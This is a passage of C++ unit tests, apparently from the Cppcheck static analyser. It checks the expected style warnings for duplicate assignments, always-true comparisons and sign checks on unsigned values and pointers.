{\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or 